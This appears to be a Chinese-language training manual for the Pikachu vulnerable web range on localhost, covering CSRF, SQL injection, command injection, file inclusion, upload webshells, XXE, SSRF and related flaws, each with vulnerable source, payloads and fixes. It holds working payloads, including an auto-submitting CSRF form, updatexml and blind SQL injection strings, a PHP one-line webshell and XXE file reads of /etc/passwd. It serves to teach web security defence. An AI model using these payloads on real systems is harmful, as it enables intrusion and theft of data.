http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get.php(账号 vince / 123456 登录)原理白话:个人信息修改功能使用 GET 请求提交(参数全在 URL 里),没有校验请求来源。受害者点开链接时,浏览器带着他的登录 Cookie 发出请求,服务器照办。
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=男&phonenum=138&add=北京&email=vince@pikachu.com&submit=submit (注意:所有参数都在 URL 里,这就是 GET 的"明信片"特性)
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=138&add=钓鱼城&email=vince@pikachu.com&submit=submit
过关标准达成:受害者只是"点了一下链接",资料就被改了——这就是"借手"。
http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post.php原理白话:POST 只是让攻击者不能"一条链接搞定",但攻击者可以给你一个网页,网页里的 JS 自动提交一个隐藏表单——效果一样。
demo.html,双击用浏览器打开(这可以自己写,也是很好的练习):<!-- demo.html:受害者访问即自动提交 -->
<html><body>
<form id="csrf" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="女">
<input type="hidden" name="phonenum" value="138">
<input type="hidden" name="add" value="钓鱼城">
<input type="hidden" name="email" value="vince@pikachu.com">
<input type="hidden" name="submit" value="submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>
过关标准达成:理解"GET 改 POST 挡不住 CSRF",必须靠 token/来源校验。
http://127.0.0.1/pikachu/vul/csrf/csrftoken/token_get.php原理白话:这关展示了正确的防御——表单里嵌入随机 token,服务器校验。攻击者构造的页面拿不到这个随机值,伪造请求被拒绝。
token=随机值 字段abc)→ 发送 → 提交失败(服务器拒绝)过关标准达成:亲眼看到"有 token 就伪造不了"——这就是 CSRF 防御的核心。补充:token 要放在 URL 之外(表单隐藏字段或请求头),否则会被 Referer 泄露。
动手前先复习 0.7 的 SQL 十分钟入门——那十条语法就是本模块全部弹药。
贯穿全模块的口诀(记牢):
先看参数怎么进 SQL(数字?引号?括号?)
→ 构造闭合,让语句成立
→ 用 # 或 -- 注释掉尾巴
→ or 1=1 恒真测试 → 进阶用 union / updatexml / sleep
本模块过关标准:能拿到数据库名(pikachu)或查出全表数据,即证明注入成立。
http://127.0.0.1/pikachu/vul/sqli/sqli_id.php(需登录 admin / 123456)1 or 1=1 查出全部用户信息原理白话:参数直接以数字形式拼进 SQL,没有引号包裹,所以 payload 不需要处理引号闭合,直接追加逻辑即可——数字型是入门最简单的注入类型。
看源码:
// 输入 id=1 时,SQL 变成:
// select 用户名,邮箱 from member where id=1
$id = $_POST['id'];
$sql = "select * from member where id=$id";
注意 $id 两侧没有引号——这是数字型的标志。
1,正常查出用户(先看正常流程)1 or 1=1 → where 条件恒真,所有用户都被查出来1 or 1=1 order by 1 观察返回;再试 1 union select 1,2,database()(若列数对得上,页面会回显数据库名)过关标准达成:or 1=1 后查出全部用户信息,证明注入成立。
1' or '1'='1 没效果 → 原因:这是数字型,参数不带引号,直接用 1 or 1=1(别加单引号)(int)$id。http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?id=1' or '1'='1 返回全部用户原理白话:参数被单引号包裹拼进 SQL。payload 必须先把引号闭合掉,语句才能成立。这是引号闭合思想的第一课,也是 SQL 注入最重要的基本功。
看源码:
$id = $_GET['id'];
$sql = "select * from users where id='$id'"; // 注意 $id 两侧的单引号
?id=1 → 正常?id=1' → 报 SQL 语法错误(看到报错=注入点确认。记住:"报错是攻击者的眼睛"——程序把错误细节都告诉你,等于把内部结构暴露给你)?id=1' or '1'='1 → 语句变成 where id='1' or '1'='1' 恒真,查出所有用户过关标准达成:返回全部用户。拆解 payload 为什么这样写:1'(闭合左边引号) or '1'='1(恒真条件,同时把右边引号接上)——整个字符串拼接后语法完整,这是所有引号闭合的通用思路。
?id=1' 没报错反而没反应 → 原因:浏览器把特殊字符转义了。在 Burp 里改参数:抓请求 → Repeater → 把 id=1 改成 id=1' or '1'='1 → Send' 是干什么的?'1'='1 负责把右引号接上,让语句语法正确http://127.0.0.1/pikachu/vul/sqli/sqli_search.php%' or 1=1# 列出全部用户like '%你的输入%'。你要先理解 % 是 SQL 里的"通配符"(代表任意内容),然后才能精准闭合。原理白话:搜索功能用 like '%输入%' 做模糊查询。payload 要用 % 把 like 的引号结构闭合掉。
看源码:
$sql = "select * from member where username like '%$name%'";
k → 正常出结果(先看正常流程)%' or 1=1# → SQL 变成 like '%%' or 1=1#%',恒真,列出全部用户% 补全前面 '% 的模糊匹配 → ' 闭合引号 → or 1=1 恒真 → # 注释掉后面的 %'过关标准达成:全部用户被列出。
1 or 1=1 没效果 → 原因:搜索型的 SQL 是 like '%关键字%' 结构,要先闭合前面的引号和 %:用 %' or 1=1## 在 URL 里丢失 → 原因:这关是 GET 传参,# 是 URL 锚点标识符,要写成 %23 或用 --+ 注释' 看页面是否报 SQL 错误,确认注入点存在%?'%%',否则语法不通http://127.0.0.1/pikachu/vul/sqli/sqli_x.phpadmin') or 1=1 # 列出全部用户('你的输入')——引号外面还有括号。闭合时要同时补上 ')。这关训练的是"看源码找闭合方式":闭合方式不是背的,是从报错和源码推出来的。原理白话:参数被单引号+括号包裹:('$id')。闭合时要同时补上 ')。
看源码:
$sql = "select id,email from member where username=('$name')";
?name=admin → 正常?name=admin' → 报错(报错信息提示有括号未闭合——学会读报错信息,它会告诉你差什么)admin') or 1=1 # → 恒真,列出全部过关标准达成:全表列出。这关的价值:闭合方式不是背的,是从报错和源码推出来的——真实场景里没人告诉你括号怎么配,全靠试和看。
' or 1=1# 失败 → 原因:这关的闭合符不是单引号,是 '),payload 用 1') or 1=1#;核心思路是"逐个试闭合符"1'、1"、1')、1"),哪个报"语法错误"说明哪个差一点闭合成功,再补全它'、")、')) 等各种组合,事先不知道,只能逐个试——体现"注入第一步是猜闭合符"的思想http://127.0.0.1/pikachu/vul/sqli/sqli_reg.php;个人信息修改(update)需登录pikachu原理白话:注入发生在 INSERT/UPDATE 语句里。这类注入不常回显查询结果,所以报错注入是标配手法——用 updatexml() 之类的函数"故意制造报错,让错误信息把数据带出来"。
详细步骤(注册页 insert 注入,报错注入经典演示):
123' or updatexml(1,concat(0x7e,database()),0) or 'pikachudatabase() 继续读数据:updatexml(1,concat(0x7e,version()),0)updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1)),0)原理拆解(重点):updatexml() 的第二个参数要求是合法的 XPath;concat(0x7e,database()) 拼出来的内容不合法 → MySQL 报错 → 错误消息里原样带上了 database() 的结果。这就是"报错带出数据"。
or ' 不能丢(那是闭合引号用的)0x7e 是什么?~ 的十六进制写法,用来在报错信息里分隔,方便肉眼定位http://127.0.0.1/pikachu/vul/sqli/sqli_del.php(需登录,留言删除功能)原理白话:留言删除时,留言 id 被拼进 DELETE 语句。删除操作也没有回显,同样用报错注入。
看源码:
$id = $_GET['id'];
$sql = "delete from message where id=$id";
?id=11 or updatexml(1,concat(0x7e,database()),0)过关标准达成:报错显示数据库名。
1 or 1=1 看提示变化or 1=1 会删掉所有留言,属正常现象(本地靶场可重置数据库)http://127.0.0.1/pikachu/vul/sqli/sqli_header.php(需登录 admin / 123456)原理白话:服务器把请求头里的 User-Agent 原样写进数据库。既然它进 SQL 语句时不做处理,那我们把 User-Agent 改成注入 payload,注入就成了。
看源码:
// 把 User-Agent 存入数据库
$sql = "insert into httpinfo(useragent) values('$ua')";
User-Agent 那一行 → 把值改成:' or updatexml(1,concat(0x7e,database()),0) or '
过关标准达成:报错注入成功。学习要点:任何输入面都可能成为注入点(UA、Referer、X-Forwarded-For、Cookie)——只要服务器把请求的某个部分存进了数据库。
' 看页面是否报 SQL 错,确认 header 注入点存在;display_errors 要开着http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php原理白话:服务器不报错、不回显查询结果,只回"查询成功"或"查询失败"。攻击者靠真/假两种页面差异逐位猜出数据。
?id=1 and 1=1 → 页面正常(条件为真)?id=1 and 1=2 → 页面变化/无结果(条件为假)——两种响应差异就是"盲注的眼睛",先确认存在差异?id=1 and length(database())>5 → 页面正常=真,说明长度大于 5(length() 返回字符串长度)?id=1 and ascii(substr(database(),1,1))>100 → 真/假二分逼近(substr 取第 1 个字符,ascii 转成数字,比如 p 是 112)过关标准达成:理解"真假二值信息也能泄露完整数据"——盲注的本质是把数据变成大量的是/否问题。
1 and 1=1 与 1 and 1=2 对比,一个显示查询结果、一个不显示1 and 1=1 也不显示结果 → 原因:先试 1 本身有没有结果(id=1 是否存在);确认 and 前后有空格http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php原理白话:连真假页面差异都没有时,用时间差传递信息:条件成立就让服务器 sleep(),观察响应时间。
?id=1,秒回(先感受正常速度)?id=1 and if(1=1,sleep(3),0) → 明显延迟约 3 秒(条件为真,if 函数执行 sleep(3))?id=1 and if(1=2,sleep(3),0) → 秒回(条件为假)?id=1 and if(length(database())>5,sleep(3),0) → 延迟=库名长度大于 5过关标准达成:用手表/秒表感受 3 秒延迟差异。学习要点:时间是最可靠的"信使"。
http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php?id=1%df' or 1=1# 注入成功\,让引号失效。但攻击者发现:数据库用 GBK 编码时,%df 这个字节能和后面的反斜杠"抱团"组成一个汉字,把反斜杠吃掉——引号又活了。编码不一致时,转义会被绕过。原理白话:靶场模拟 GBK 编码数据库环境。GBK 是"双字节编码",某些字节(如 %df)要和下一个字节合起来才算一个字符。转义函数加的反斜杠 \ 恰好被 %df 吞掉组成汉字"運",单引号重新生效。
看源码:
// 输入被 addslashes 转义:' 变成 \'(单引号被"无效化")
$id = addslashes($_GET['id']);
$sql = "select * from users where id='$id'";
?id=1' → 不报错(被 addslashes 转义了,注入失败——体会"保安"在起作用)?id=1%df' or 1=1#%df + \(十六进制 5C)在 GBK 下组成汉字"運",反斜杠被吃掉,单引号成功闭合 → 注入成功过关标准达成:or 1=1 生效。学习要点:转义不是万能药,字符集不一致时会被绕过。
%df' 后没报错 → 原因:确认是 GET 传参(URL 里直接写 %df'),且页面编码是 GBK(Pikachu 默认)%df'),且 URL 里 %df 不能被二次编码成 %25df# 时要编码成 %23| 关卡 | 注入点 | 核心手法 |
|---|---|---|
| 数字型 | where 数字 | 直接拼接,无需闭合 |
| 字符型 | where '字符串' | 引号闭合 + or 恒真 |
| 搜索型 | like '%..%' | % 闭合 |
| xx型 | ('..') | 引号+括号闭合 |
| insert/update | 注册/改资料 | 报错注入 updatexml |
| delete | 删除留言 id | 报错注入 |
| http header | User-Agent | 请求头也是输入 |
| 布尔盲注 | where | 真假二分猜数据 |
| 时间盲注 | where | sleep 传信息 |
| 宽字节 | where '..' | %df 吃掉反斜杠 |
;、&&、| 等符号可以连接多条命令。类比:网站的"ping 工具"本意是"帮用户测试网络",结果用户的输入被直接拼进系统命令执行,等于把"服务器终端"交到了用户手里。http://127.0.0.1/pikachu/vul/rce/rce_ping.php原理白话:用户输入直接拼进 ping 命令执行,没有过滤命令分隔符。系统 shell 里 ;(顺序执行)、&(后台执行)、&&(前成功才执行)、|(管道)都能接第二条命令。
看源码:
$ip = $_POST['ipaddress'];
shell_exec('ping -c 4 ' . $ip); // 拼接后交给系统执行
127.0.0.1 → 正常返回 ping 结果(先看正常流程)127.0.0.1 & ipconfig → ping 结果后面跟出 IP 配置信息127.0.0.1; whoami 或 127.0.0.1; ls /127.0.0.1; cat /etc/passwd 读出系统用户文件过关标准达成:攻击者的命令被执行。学习要点:; & && | 的含义(顺序执行/后台执行/逻辑与/管道),以及"把参数包起来"为什么挡不住(引号内命令分隔符依然生效,正确做法是参数化+白名单)。
127.0.0.1 | whoami 没输出 → 原因:先只输 127.0.0.1 看 ping 是否正常;分隔符用 & 或 &&(Windows 下最稳)shell_exec 等危险函数 + 最小权限运行 Web 服务。ping "$ip" 能防住吗?; 在引号内仍被 shell 解析,正解是参数数组方式调用或严格格式校验http://127.0.0.1/pikachu/vul/rce/rce_eval.phpphpinfo(); 后页面打印出 PHP 环境信息原理白话:服务器把用户输入直接喂给 PHP 的 eval()。eval() 是 PHP 里"把字符串当代码执行"的函数,天生危险。
看源码:
$html = $_POST['txt'];
eval($html); // 用户输入当 PHP 代码执行
phpinfo(); → 页面打印出完整 PHP 环境信息(版本、扩展、路径)→ 通关system('whoami'); 或 system('ipconfig'); → 执行系统命令过关标准达成:看到 phpinfo 页面。学习要点:eval 是 PHP 最危险的函数之一,等于把服务器钥匙交给用户。
phpinfo();(带分号);若函数被禁,改试 system('whoami');eval、assert、system、exec 应触发警报。?filename=news.php),服务器 include 该文件。"包含"可以理解为把文件内容"贴"进当前页面。如果没做限制,攻击者就能让服务器"包含"任意文件——本机敏感文件(本地包含),甚至远程恶意代码(远程包含)。http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php../ 一层层往上爬(0.3 节学过),爬到系统根目录,借走系统自己的文件。原理白话:include($_GET['filename']),参数可控 → 用 ../ 目录穿越读取任意本地文件。
看源码:
$filename = $_GET['filename'];
include "include/$filename"; // 无任何校验
?filename=../../../../etc/passwd → 读出系统账号文件?filename=..\..\..\..\windows\win.ini → 读出 Windows 配置文件?filename=../inc/config.inc.php → 读到靶场数据库账号密码(记住:配置文件是 LFI 第一目标——真实攻击里读数据库口令价值最高)过关标准达成:系统文件内容出现在页面。
../../../../Windows/win.ini,Linux/Mac 试 ../../../../etc/passwd../inc/config.inc.php)确认基本穿越可用open_basedir 限制。../ 能穿越目录?../ 可回退到系统根目录http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php原理白话:allow_url_include=On 时(1.1 步骤 4 已配),include 支持 URL——攻击者让服务器去请求自己控制的"恶意文件服务器",执行攻击者代码。
allow_url_include=On(部署章节已配好)evil.txt(Windows 用记事本):<?php system('ipconfig'); ?>
D:\phpstudy_pro\WWW\(Apache 已启动,它就是你的 Web 服务器),或另用 Python 起服务?filename=http://127.0.0.1/evil.txt(指向你自己的 Web 服务;如果 Apache 端口是 8080,写成 http://127.0.0.1:8080/evil.txt)ipconfig 命令结果过关标准达成:远程代码被执行。学习要点:RFI 比 LFI 危险一个量级——从"读文件"升级为"执行任意代码"。
allow_url_include 没开,回 1.1 步骤 4;②evil.txt 的 URL 访问不到(先在浏览器直接访问那个 URL,能看到文件内容才行);③文件放错目录allow_url_include(默认就是关的,练习环境是为了演示才开);白名单文件包含。动手前先准备:写一个一句话木马 evil.php(Windows 用记事本,保存时文件名写 evil.php、编码选 UTF-8):
<?php @eval($_POST['cmd']); ?>
解释:eval 执行传入的 PHP 代码;$_POST['cmd'] 取"密码为 cmd"的 POST 数据。蚁剑连接时密码就填 cmd。
http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php原理白话:只在前端 JS 校验"必须是图片后缀"。抓包绕过浏览器直接发包,服务器照单全收。
看源码:页面 JS 有 checkFileExt() 之类函数在提交前拦 .php;服务端 PHP 无任何校验。
filename="evil.php"(如果它是被改成 .jpg 才过的 JS 校验,就把它改回 evil.php)unsafeupload/uploads/2026xxxx.php)http://127.0.0.1/pikachu/unsafeupload/uploads/你的文件名.php,密码填 cmdwhoami 回车 → 出现用户名 → webshell 上线,通关过关标准达成:webshell 上线。学习要点:前端校验只是"体验优化",不是安全措施。
location ~ \.php$ { deny all; })+ 重命名文件(强制改扩展名为无害类型)。.jpg,木马还能执行吗?http://127.0.0.1/pikachu/vul/unsafeupload/servercheck.php原理白话:服务器校验的是请求头里的 Content-Type("文件类型声明")。这个字段由客户端说了算,改一下就行。
看源码:
// 服务器只检查上传时的 Content-Type 是否为图片类型
if ($_FILES['uploadfile']['type'] != 'image/jpeg' && ...) 拒绝
Content-Type: application/octet-stream(或 text/php)Content-Type: image/jpeg过关标准达成:绕过成功。学习要点:Content-Type 是"自称",不是"真相"——真正可靠的内容识别要看文件头字节(magic number)。
Content-Type: image/jpeg(冒号后有空格),用 Repeater 重发;白名单是 image/gif、image/jpeg、image/pnghttp://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php原理白话:服务器用 getimagesize() 检查文件头,确认是真图片。绕过思路:图片是真的,但里面夹带 PHP 代码。
copy /b 正常图片.jpg + evil.php 图片马.jpg (macOS 终端:cat 正常图片.jpg evil.php > 图片马.jpg) (没有现成图片就随便截个图保存为 jpg)
.jpg 后缀,直接访问不会执行 PHP(先试一下直接访问,看到乱码/图片——理解为什么)http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg
过关标准达成:理解"图片马 + 文件包含"组合拳。学习要点:单独看上传校验很严,但和其他漏洞组合后依然被打穿——安全是体系,不是单点。
copy /b 图片.jpg + 木马.php 合成.jpg;或十六进制编辑器在图片尾部追加 PHP 代码http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php原理白话:下载接口按用户传的文件名拼接路径读取文件,无校验 → 任意文件下载。
看源码:
$filename = $_GET['filename'];
$file = file_get_contents($filename); // 用户可控
?filename=../inc/config.inc.php → 直接下载到靶场数据库配置(含账号密码)?filename=..\..\..\..\windows\win.ini;macOS:?filename=../../../../etc/passwd过关标准达成:敏感配置文件到手。学习要点:下载接口和文件包含是"近亲"——一个读内容给攻击者,一个把内容执行出来。
../ 穿越字符。http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php(lucy / 123456 登录)username 参数查数据——只校验了"登录没登录",没校验"这个 username 是不是你自己的"。你把 URL 里的名字改成别人,就看到了别人的信息。像银行柜员:你说"我查一下王五的余额",柜员只确认了"你是本行客户",没确认"王五是不是你"。原理白话:服务器用客户端传来的 username 参数查库,身份校验缺失。
看源码:
// 只检查了登录态,直接按传入的 username 查库
$sql = "select * from member where username='{$_GET['username']}'";
?username=lucy?username=vince → 看到了 vince 的个人信息(手机号、邮箱等)过关标准达成:任意同级别用户信息可读。学习要点:"对象级授权"缺失——OWASP 把它列为 API 安全第一大问题(BOLA)。
where username=$_SESSION['user']),不让客户端传身份标识。?username=admin 会怎样?http://127.0.0.1/pikachu/vul/overpermission/op2/op2_login.php(pikachu / 000000 普通用户登录)原理白话:前端把"添加用户"按钮隐藏了(普通用户看不到),但后端接口没有做权限校验——直接访问接口照样能用。
看源码:管理员页面 op2_admin.php 处理添加用户请求,没有任何"当前用户是否是管理员"的判断。
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php过关标准达成:普通用户自封管理员。学习要点:前端隐藏 ≠ 权限控制,权限必须后端每个接口都校验。
http://127.0.0.1/pikachu/vul/dir_list/dir_list.php../ 爬到系统目录随便看。原理白话:页面按用户传的 title 参数读取文件内容,无校验 → 路径穿越读任意文件。
?title=../../../../etc/passwd?title=..\..\..\..\windows\win.ini?title=../inc/config.inc.php 读数据库配置过关标准达成:任意文件内容显示。
../ 看列出的目录/ 与 \ 都试;确保拼接后的路径存在../(正确做法是根本不接收路径,只接收 id)。http://127.0.0.1/pikachu/vul/infoleak/原理白话:开发者把敏感信息(账号、隐藏路径)放在网页注释、备份文件等"以为没人看"的地方。
(HTML 注释长这样:<!-- 我是注释,页面上不显示 -->)
/vul/infoleak/abc.php → 页面显示隐藏的账号密码过关标准达成:拿到隐藏账号。学习要点:真实世界的版本是——.git 泄露、www.zip 备份、注释里的测试账号、debug 开关没关。
git clone 部署改为构建产物部署、统一敏感信息扫描(gitleaks 类工具)。http://127.0.0.1/pikachu/vul/unserilization/unser.php原理白话:序列化=把对象存成字符串,反序列化=把字符串变回对象。如果对象创建时(构造方法)会执行代码,而攻击者能控制序列化字符串,就能触发代码执行。
看源码:
class S {
var $test = "pikachu";
function __construct() {
echo $this->test; // 对象创建即输出
}
}
$s = unserialize($_GET['s']); // 直接反序列化用户输入
http://127.0.0.1/pikachu/vul/unserilization/unser.php?s=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}O:1:"S" = 对象(Object),类名长度 1 的字符串 "S"1:{...} = 1 个属性s:4:"test" = 字符串(string),长度 4,内容是 "test"(属性名)s:29:"<script>..." = 字符串,长度 29,内容是属性值__construct 被触发 → 输出我们伪造的 test → XSS 弹窗过关标准达成:弹窗。学习要点:长度必须数对,差一个字符就失败——体会"构造 payload 要严谨"。深入一步:真实世界的反序列化 RCE 靠"魔术方法链"(gadget chain),入门阶段了解即可,进阶可深入研究。
s:29 里的 29 必须等于引号内字符串的实际字符数(<script>alert('xss')</script> 正好 29 个字符)。逐字符数一遍http://127.0.0.1/pikachu/vul/xxe/xxe_1.php原理白话:应用解析用户提交的 XML 时,如果允许"外部实体",攻击者可以用 <!ENTITY> 声明实体引用任意文件/URL,XML 解析器会乖乖去读取并回显。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
(解释:<!ENTITY xxe SYSTEM "file:///etc/passwd"> 声明了一个叫 xxe 的实体,指向系统文件;<foo>&xxe;</foo> 引用它 → 解析器读文件并放进来)
/etc/passwd 内容(macOS)SYSTEM "file:///c:/windows/win.ini"file:///D:/phpstudy_pro/WWW/pikachu/inc/config.inc.php(按实际路径)过关标准达成:任意本地文件被读出。
file:///C:/Windows/win.ini(三个斜杠);Linux 用 /etc/passwdlibxml_disable_entity_loader(true),或用 JSON 替代 XML)。http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.phpurl 参数实现任意跳转原理白话:跳转接口信任用户传的目标地址,跳转到钓鱼站点时用户毫无防备(地址栏一开始是可信域名)。
?url= 参数控制(先正常点一次看流程)?url=https://www.baidu.com → 跳到百度(证明任意跳转成立)?url=javascript:alert(document.cookie) → 部分浏览器直接执行 JS过关标准达成:任意跳转成立。
javascript: 等协议。http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php127.0.0.1——注意,这是服务器自己访问自己(服务器和你同一台机器)。填靶场内网信息页,就能看到"只有内网才能看"的内容。原理白话:页面提供一个"URL 查看"工具,服务器用 curl 请求用户给的 URL 并回显——无任何目标校验。
看源码:
$url = $_GET['url'];
echo curl_exec($ch); // curl 用户可控的 URL
http://127.0.0.1/pikachu/ → 正常回显(注意:这是服务器自己访问自己,体会"服务器替你发请求")http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 回显内部信息file:///etc/passwd 直接读本地文件(curl 支持 file 协议)过关标准达成:内网资源被"借"服务器之手访问。
http://127.0.0.1/pikachu 这种靶场自身地址http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.phpfile_get_contents() 同样支持 URL 和 file 协议)。理解:危险的不是函数,而是"未校验的用户可控 URL"。原理白话:同上,只是读取函数换成 PHP 的 file_get_contents(),它同样支持 URL 和 file 协议。
?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 内网信息回显?file=file:///etc/passwd → 本地文件读取过关标准达成:内网访问成立。
file:///C:/Windows/win.ini,Linux 用 file:///etc/passwd每通一关,在 □ 里打钩。建议配合"过关标准"自查,全部打钩后你就是这套靶场的全通选手了。
暴力破解(4 关)
XSS(10 关)
CSRF(3 关)
SQL 注入(10 关)
RCE(2 关)
文件包含(2 关)
文件上传(3 关)
文件下载(1 关)
越权(2 关)
目录遍历(1 关)
敏感信息泄露(1 关)
PHP 反序列化(1 关)
XXE(1 关)
URL 跳转(1 关)
SSRF(2 关)
| 漏洞类型 | 一句话成因 | 一句话防御 |
|---|---|---|
| 暴力破解 | 无次数限制、验证码失效 | 失败锁定 + 服务端一次性验证码 + token |
| XSS | 用户输入进 HTML 未编码 | 输出按上下文编码(htmlspecialchars/JS转义/URL协议白名单) |
| CSRF | 浏览器自动带 Cookie + 无来源校验 | CSRF Token + SameSite + 关键操作二次确认 |
| SQL 注入 | 输入拼进 SQL 语句 | 参数化查询(一切注入的正解) |
| RCE | 输入拼进命令/eval | 白名单 + 禁危险函数 + 最小权限 |
| 文件包含 | 文件名参数可控 | 白名单 + 关闭 allow_url_include |
| 文件上传 | 校验可绕过、脚本可执行 | 服务端内容校验 + 上传目录禁执行 + 重命名 |
| 文件下载/目录遍历 | 路径参数可控 | id 映射 + 拒绝 ../ |
| 越权 | 只验登录不验归属/角色 | 对象级授权(用 session 身份取数)+ 接口级 RBAC |
| 信息泄露 | 注释/备份/报错藏敏感信息 | 上线前敏感扫描 + 统一错误页 |
| 反序列化 | 反序列化用户输入 | 不反序列化不可信输入 / 白名单类 |
| XXE | XML 外部实体未禁用 | 禁用 DTD/外部实体 |
| URL 跳转 | 跳转目标未校验 | 域名白名单 + 协议白名单 |
| SSRF | 服务器代发请求目标未校验 | URL 白名单 + 禁内网地址/危险协议 |
暴力破解
XSS
<script> 关键字防不住 XSS?举两个绕过例子。(要点:img onerror、svg onload、大小写等)htmlspecialchars 使用正确(ENT_QUOTES)但输出在 href 里,还有风险吗?(要点:javascript: 协议,需协议白名单)CSRF
SQL 注入
1' or '1'='1 中每个部分的作用?(要点:闭合、恒真、语法补全)RCE / 文件包含 / 文件上传
; & && | 分别是什么作用?(要点:顺序/后台/与/管道)越权 / 信息泄露
进阶漏洞
期末实操考核说明(供参考):随机抽 3 关独立通关(不允许看手册),提交通关报告(截图 + 原理 + 修复建议)。
127.0.0.1 和本机局域网靶场;不得把攻击流量发到互联网真实网站本手册全部 payload 均针对本地 Pikachu 靶场环境,仅用于学习练习。使用时请按实际部署路径/端口微调。
🎯 本模块打完?去「通关打卡表」打钩——进度存账号,换设备不丢。